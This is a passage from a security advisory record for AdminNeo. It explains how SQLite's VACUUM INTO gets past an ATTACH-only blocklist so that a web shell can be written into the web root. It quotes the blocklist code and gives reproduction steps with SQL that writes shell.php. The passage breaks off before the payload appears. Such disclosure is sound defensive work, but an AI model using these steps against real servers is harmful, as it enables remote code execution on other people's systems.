{"id":"GHSA-q5mp-gfjf-cf2j","aliases":["CVE-2026-96630"],"title":"AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"## Summary\nAdminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.\n\nOriginally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)\n\n## Root Cause\nsql.inc.php, line 146:\n\n```php\nif (DIALECT == \"sqlite\" && preg_match(\"~^$space*+ATTACH\\\\b~i\", $q, $match)) {\n // blocked\n}\n```\n\nOnly `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.\n\n## Steps To Reproduce\n\n### 1. Login to SQLite\n1. Open AdminNeo and select driver: **SQLite**\n2. Login and create a new database (e.g., `stage.db`)\n\n### 2. Inject PHP code and write the shell\n\nNavigate to **SQL command** and execute:\n\n```sql\nCREATE TABLE \"\" (i int);\nVACUUM INTO '/var/www/html/shell.php';\n```\n\nThe SQLite file is written to `/var/www/html/shell.php`. The table name containing `